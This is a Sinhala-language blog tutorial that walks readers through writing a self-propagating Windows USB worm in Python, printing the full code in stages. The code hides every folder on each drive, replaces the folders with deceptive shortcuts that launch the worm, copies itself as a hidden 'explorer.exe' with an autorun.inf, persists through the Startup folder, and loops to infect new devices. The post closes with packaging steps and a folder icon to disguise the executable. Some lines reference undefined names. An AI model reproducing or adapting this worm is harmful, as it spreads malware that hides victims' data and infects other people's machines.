ඉබේ පැතිරෙන පරිගනක වෛරස් (worm) එකක් හදමු..

ඔන්න අද මම වැදගත් දෙයක් තමා ඔයාලට කියල දෙන්න යන්නේ..ඒ තමා ඉබේම පැතිරෙන වෛරස් එකක් හදන විදිහ..පෙන් ඩ්‍රයිව්,චිප් වගේ removable devices හරහා තමා මේ වෛරසය පතුරවන්න පුලුවන් වෙන්නේ..

මම මේක හදන්න භාවිතා කරන්නේ python language එක..

හරි එහෙනම් අපි වැඩේ පටන් ගමු..සමහර කෙනෙක්ට මේක විකාරයක් වගේ පේන්නත් පුලුවන්..

දැන් මුලින්ම අපි හදන වෛරස් එක නිකන් පැතිරි පැතිරි තිබ්බට වැඩක් නෑනේ..ඒකෙන් වෙන දෙයක් තියෙන්නත් එපැයි..ඒ නිසා මම අපි කවුරුත් දන්න Short cut නිර්මානය වෙන වෛරස් එකක් විදිහට මේක නිර්මානය කරන්න තමා යන්නේ..

ඒ කිව්වේ මේ වෛරස් එක ආසාදනය වෙන හැම පරිගනකයකම local disk වලත් removable devices වලත් තියන ෆයිල මැකිල ඒ වෙනුවට shortcut  හැදෙන එක තමා මේකෙන් මම කරන්න යන්නේ..

මුලින්ම අපි හිතමු අපේ මේ වෛරස් එක පරිගනකයකට ආසාදනය උනා කියලා..ඒ කියන්නේ අපේ වෛරස් වැඩසටහන ඔන්න ක්‍රියාත්මක උනා..

දැන් අපිට කරන්න ඕනේ ඒ පරිගනකයේ තියන සියලුම local disk සහ removable devices වල තියන ඔක්කොම files මකලා දාලා ඒ වෙනුවට shortcut හදන්න..

මුලින්ම මම හොයාගන්න ඕනේ පරිගනකයේ තියන local disk සහ removable devices මොනවද කියලා..ඒකට මම පොඩි උපක්‍රමයක් පාවිච්චි කරනවා..

පරිගනකයක තියන  local disk සහ removable devices නම් කරලා තියෙන්නේ a-z ඉංග්‍රීසි හෝඩියේ අකුරු වලින්නේ..ඒ නිසා මම ඒ හැම එකක්ම චෙක් කරලා බලනවා loop එකකින්..


import os,shutil,winshell
drives=['a:\\', 'b:\\','c:\\','d:\\','e:\\', 'f:\\', 'g:\\', 'h:\\', 'i:\\', 'j:\\', 'k:\\', 'l:\\', 'm:\\', 'n:\\', 'o:\\', 'p:\\', 'q:\\', 'r:\\', 's:\\', 't:\\', 'u:\\', 'v:\\', 'w:\\', 'x:\\', 'y:\\', 'z:\\']
for bomb in drives:
    try:
        fld=[]
        folders=os.listdir(bomb)
        for moveit in folders:
            if '.' not in moveit:
                fld.append(moveit)
                src=bomb+moveit
                dst=bomb+'SAS\\s\\i\\n\\h\\a\\l\\a\\H\\a\\c\\k\\e\\r\\n\\e\\t\\'+moveit
                shutil.move(src,dst)
        for nwfl in fld:
                winshell.CreateShortcut (
                Path=os.path.join (bomb,nwfl+'.lnk'),
                Target=bomb+'explorer.exe',
                Icon=(bomb+'explorer.exe', 0),
                Description="File"
                            )                          
    except:
        pass

ඔතනදි මම කරලා තියෙන්නේ තියෙන්ඩ පුලුවන් drivers ටික ඔක්කොම list එකකට ගන්න එක..ඊට පස්සේ loop එකක් දාලා ඒ drivers හැම එකක්ම චෙක් කරනවා..(මේකෙදි C drive එකට හානියක් කරන්න අමාරුයි..මොකද ඒකේ ෆයිල් වෙනස් කරන්න admin privileges ඕන කරනවා..)
දැන් අපි හිතමු D කියලා local drive එකක්  අපේ පරිගනකයේ තියනවා කියලා..මේ ලූප් එක වැඩ කරද්දි bomb කියන variable එකට d:\\ ආදේශ උනාම මුලින්ම ඒකේ තියන සියලුම ෆයිල් සහ ෆෝඩර් වල නම් ලබා ගන්නවා..ඒකට මම os module එක පාවිච්චි කරලා තියනවා..

ඊට පස්සේ මේ නම් අතරින් අපි ෆයිල් සහ ෆෝල්ඩර් වෙන් කරලා හදුනගන්න ඕනේ..මොකද අපි ෆෝල්ඩර් විතරයි අතුරුදහන් කරන්න යන්නේ..
මම මේකට පොඩි තර්කයක් යොදාගන්නවා..ඒ තමා හැම ෆයිල් එකකටම extension එකක තියනවා..ඒත් ෆෝල්ඩර් වලට නෑ..ඉතින් ෆයිල් වල නමට අනිවාර්යෙන්ම තිතක් ඇතුලු වෙන්න ඕනේ..මොකද ෆයිල් එකේ නමත් extension එකත් වෙන් කරන්න..ඒත් ෆෝල්ඩර් වල එහෙම නෑ..කලාතුරකින් නමට තිතක් තියන ෆෝල්ඩර් එකක් හම්බ උනත් ඒ ගොඩක් අඩුවෙන්..ඒ නිසා මම නමට තිතක් නැත්තන් ඒවා ඔක්කොම අතුරුදහන් කරන්න තෝර ගන්නවා..

මේ විදිහට තෝරගත්ත ඒවා මම වෙනම fld කියලා list එකකටත් දාගන්නවා..
දැන් මෙහෙමයි..අපිට පුලුවන් මේ ෆෝලඩර් delete කරන්න..ඒත් ඉතින් එච්චරම දරුනු වෙන එකත් හොද නෑනේ..ඒ නිසා ඒ ෆෝල්ඩර් ඔක්කොම මම loop එකකින් SAS\\s\\i\\n\\h\\a\\l\\a\\H\\a\\c\\k\\e\\r\\n\\e\\t\\ කියලා ෆෝල්ඩර් ගොඩක් ඇතුලට move කරනවා..ඔයාට කැමතිනම් මෙතන move වෙනුවට deleteම කරන්නත් පුලුවන්..move කරන්න shutil module එක තමා මම පාවිච්චි කරන්නේ..

හරි දැන් ඔන්න ඔක්කොම folders ටික අතුරුදහන් වෙලා ඉවරයි..(නමට තිතක් තියන ඒවා හැර)

දැන් අපි ඒ අතුරුදහන් කරපුවට හරියන්න shortcut හදන්නත් එපැයි..ඒකට මම winshell module එක පාවිච්චි කරනවා..

මෙතනදි මට ඕන වෙනවා මේ shortcut එක ක්ලික් කරාම target එකයි shortcut icon එකකුයි දාන්න..මෙතනදි මම මෙහෙම දෙයක් කියන්නම්..
දැන් කවුරුහරි removable device එකක තිබිලා මේ shortcut එකක් ක්ලික් කරොත් එයාගේ පරිගනකයටත් වෛරසය ආසාදනය වෙන්න තියනවනම් හොදයිනේ..ඒ නිසා මම මෙහෙම දෙයක් කරනවා..

මුලින්ම මම මේ වෛරස් වැඩසටහනට කැමති නමක් හිතාගන්නවා..මම හිතාගන්නවා explorer කියලා මේකට නම දානවා..එතකොට සැක කරනවත් අඩුයිනේ..එතකොට මුලු program එකේම නම explorer.exe

දැන් මම අර මුලදිම folders delete වෙද්දි ඒ folder delete වෙන drive එකට අපේ වෛරස් එකත් කොපි කරන්න හදනවා..


import os,shutil,winshell,win32api
drives=['a:\\', 'b:\\','c:\\','d:\\','e:\\', 'f:\\', 'g:\\', 'h:\\', 'i:\\', 'j:\\', 'k:\\', 'l:\\', 'm:\\', 'n:\\', 'o:\\', 'p:\\', 'q:\\', 'r:\\', 's:\\', 't:\\', 'u:\\', 'v:\\', 'w:\\', 'x:\\', 'y:\\', 'z:\\']
for bomb in drives:
    try:
        destination = bomb
        source = ('explorer.exe')
        shutil.copy(source,destination)
        myfile=open(destination+'autorun.inf','w')
        myfile.write('[AutoRun]\nopen=explorer.exe')
        myfile.close()
        win32api.SetFileAttributes((destination2+'autorun.inf'),win32con.FILE_ATTRIBUTE_READONLY)
        win32api.SetFileAttributes((destination2+'autorun.inf'),win32con.FILE_ATTRIBUTE_HIDDEN)
        win32api.SetFileAttributes((destination2+'explorer.exe'),win32con.FILE_ATTRIBUTE_HIDDEN)  
    except:
        pass
    try:
        fld=[]
        folders=os.listdir(bomb)
        for moveit in folders:
            if '.' not in moveit:
                fld.append(moveit)
                src=bomb+moveit
                dst=bomb+'SAS\\s\\i\\n\\h\\a\\l\\a\\H\\a\\c\\k\\e\\r\\n\\e\\t\\'+moveit
                shutil.move(src,dst)
        for nwfl in fld:
                winshell.CreateShortcut (
                Path=os.path.join (bomb,nwfl+'.lnk'),
                Target=bomb+'explorer.exe',
                Icon=(bomb+'explorer.exe', 0),
                Description="File"
                            )                          
    except:
        pass
මෙතනදි මම කරලා තියෙන්නේ මුලින්ම අදාල drive එකට අපේ වෛරස් එක කොපි වෙනවා..ඊලගට ඒක autorun වෙන්න අවශ්‍යය autorun.inf file එක හැදෙනවා..ඊලගට ඒ දෙකම win32api module එක භාවිතා කරලා hidden files බවට පත් කරවනවා..

දැන් මම අර කිව්ව shortcut එකේ target එකටයි  name එකටයි අපේ වෛරස් එක target කරනවා..ඒ කිව්වේ shortcut එකේ icon එක වෙන්නේ වෛරස් program එකේ icon එක..shortcut කලික් කරාම වෛරස් එක run වෙනවා..


හරි දැන් මේක වැඩ කරන වෙලාවේ removable device එකක් connect කරලා තිබ්බොත් විතරයි වෛරස් එකෙන් බලපෑමක් වෙන්නේ..ඒත් අපි මේක හදන්න ඕනේ කොයි වෙලේ device එකක් connect කරත් වෛරස් එක පැතිරෙන විදිහටනේ..ඒ නිසා මම ඒකට ඉවරයක් නැතුව repeat වෙන්න loop එකක් දානවා..
import os,shutil,winshell,win32api
drives=['a:\\', 'b:\\','c:\\','d:\\','e:\\', 'f:\\', 'g:\\', 'h:\\', 'i:\\', 'j:\\', 'k:\\', 'l:\\', 'm:\\', 'n:\\', 'o:\\', 'p:\\', 'q:\\', 'r:\\', 's:\\', 't:\\', 'u:\\', 'v:\\', 'w:\\', 'x:\\', 'y:\\', 'z:\\']
sas=True
while sas:
    for bomb in drives:
        try:
            destination = bomb
            source = ('explorer.exe')
            shutil.copy(source,destination)
            myfile=open(destination+'autorun.inf','w')
            myfile.write('[AutoRun]\nopen=explorer.exe')
            myfile.close()
            win32api.SetFileAttributes((destination2+'autorun.inf'),win32con.FILE_ATTRIBUTE_READONLY)
            win32api.SetFileAttributes((destination2+'autorun.inf'),win32con.FILE_ATTRIBUTE_HIDDEN)
            win32api.SetFileAttributes((destination2+'explorer.exe'),win32con.FILE_ATTRIBUTE_HIDDEN)  
        except:
            pass
        try:
            fld=[]
            folders=os.listdir(bomb)
            for moveit in folders:
                if '.' not in moveit:
                    fld.append(moveit)
                    src=bomb+moveit
                    dst=bomb+'SAS\\s\\i\\n\\h\\a\\l\\a\\H\\a\\c\\k\\e\\r\\n\\e\\t\\'+moveit
                    shutil.move(src,dst)
            for nwfl in fld:
                    winshell.CreateShortcut (
                    Path=os.path.join (bomb,nwfl+'.lnk'),
                    Target=bomb+'explorer.exe',
                    Icon=(bomb+'explorer.exe', 0),
                    Description="File"
                                )                          
        except:
            pass

එතකොට මට ඊලගට ඕන වෙනවා කෙනෙක්ගේ පරිගනකයට මේක ආසාදනය උනාම එයා පරිගනකය ආරම්බ කරන හැම වෙලාවකම මේ වෛරසය නැවත නැවත ක්‍රියාත්මක කරන්න..ඒකට මම winshell සහ shutil module භාවිතයෙන් වෛරස් වැඩසටහන startup folder එකට copy කරනවා..


import os,shutil,winshell,win32api
drives=['a:\\', 'b:\\','c:\\','d:\\','e:\\', 'f:\\', 'g:\\', 'h:\\', 'i:\\', 'j:\\', 'k:\\', 'l:\\', 'm:\\', 'n:\\', 'o:\\', 'p:\\', 'q:\\', 'r:\\', 's:\\', 't:\\', 'u:\\', 'v:\\', 'w:\\', 'x:\\', 'y:\\', 'z:\\']
sas=True
while sas:
    for bomb in drives:
        try:
            files=os.listdir(bomb)
            if 'explorer.exe' not in files:
                destination = bomb
                source = ('explorer.exe')
                shutil.copy(source,destination)
                myfile=open(destination+'autorun.inf','w')
                myfile.write('[AutoRun]\nopen=explorer.exe')
                myfile.close()
                win32api.SetFileAttributes((destination2+'autorun.inf'),win32con.FILE_ATTRIBUTE_READONLY)
                win32api.SetFileAttributes((destination2+'autorun.inf'),win32con.FILE_ATTRIBUTE_HIDDEN)
                win32api.SetFileAttributes((destination2+'explorer.exe'),win32con.FILE_ATTRIBUTE_HIDDEN)  
                destination1=winshell.startup ()
                source1=sys.executable
                shutil.copy(source1,destination1)
                os.system(destination1+"\\explorer.exe")
            else:
                pass
        except:
            pass
        try:
            fld=[]
            folders=os.listdir(bomb)
            for moveit in folders:
                if '.' not in moveit:
                    fld.append(moveit)
                    src=bomb+moveit
                    dst=bomb+'SAS\\s\\i\\n\\h\\a\\l\\a\\H\\a\\c\\k\\e\\r\\n\\e\\t\\'+moveit
                    shutil.move(src,dst)
            for nwfl in fld:
                    winshell.CreateShortcut (
                    Path=os.path.join (bomb,nwfl+'.lnk'),
                    Target=bomb+'explorer.exe',
                    Icon=(bomb+'explorer.exe', 0),
                    Description="File"
                                )                          
        except:
            pass

මේක තමා අපේ අවසානයට ලැබුන program එක.. ඔන්න එහෙනම් දැන් අපේ වෛරස් එකේ වැඩ ඉවරයි..දැන් අපි මේක කවුරු හරි කෙනෙක්ට ආසාදනය වෙන විදිහ ආපහු බලමු..

මුලින්ම මම මේකෙන් ආසාදනය වෙච්ච පෙන් එකක් ඔයාට දෙනවා..ඔයාගේ පරිගනකයේ USB autorun on කරලා තියනවනම් කෙලින්ම වෛරස් එක වැඩ කරන්න පටන් ගන්නවා..එහෙම නැත්තන් ඔයා පෙන් එක open කරාම දකින්නේ පෙන් එකේ තියෙන්න ඕනේ ෆෝල්ඩර වලම බොරු shortcut වගයක්..වැරදිලා ඒකක් ක්ලික් කරත් වෛරස් එක වැඩ කරනවා..

මේ විදිහට වෛරස් එක වැඩ කරන්න ගත්තම එයා මුලින්ම එයාගෙම(වෛරස් එකේම) පිටපත් startup folder එකටයි අනිත් හැම device හා drives වලටයි කොපි කරනවා..ඊලගට ඒ කොපි කරපු පරිගනකයේ තියන පිටපතකුත් ක්‍රියාත්මක කරවනවා..

ඊලගට අර කිව්ව විදහට ෆයිල් move කරලා shortcut හදනවා..

දැන් මේ program එක run වෙන එක නවතින්නේ නෑ..loop වෙවී දිගටම තියනවා..කොයි වෙලේක හරි removable device එකක් ගහපු ගමන් ඒකටත් කොපි වෙනවා..ඒකෙන් අයේ පරිගනකයකට කොපි වෙනවා..මෙහෙම දිගටම යනවා..

හරි එහෙනම් මම මේ python වැඩසටහන pyinstaller පාවිච්චි කරලා executable file එකක බවට convert කරගන්නවා..ඒ කරද්දි මම මේ විදිහට තමා Command එක දෙන්නේ..

pyinstaller.py explorer.py --onefile --noconsole --icon=icon.ico

මෙහෙම දෙද්දි pyinstaller folder එකටම මෙන්න මේ ico file එකත් කොපි කරලා තියන්න
http://www.iconj.com/download.php?d=p&file=paohkrbu2w

එතකොට ඔයාගේ වෛරස් එකේ icon එක normal folder එකක icon එකට සමාන වෙයි..මතක ඇතුව එහෙම හදාගත්ත වෛරස් exe file එක explorer.exe කියලා rename කරන්න..(ඒ කිව්වේ අර මම මුලින්ම කිව්ව නම)

හරි එහෙනම් ඔය විදිහට ලේසියෙන්ම වැඩේ කරගන්න පුලුවන්..
Share on Google Plus

About REX

    Blogger Comment
    Facebook Comment

0 comments:

Post a Comment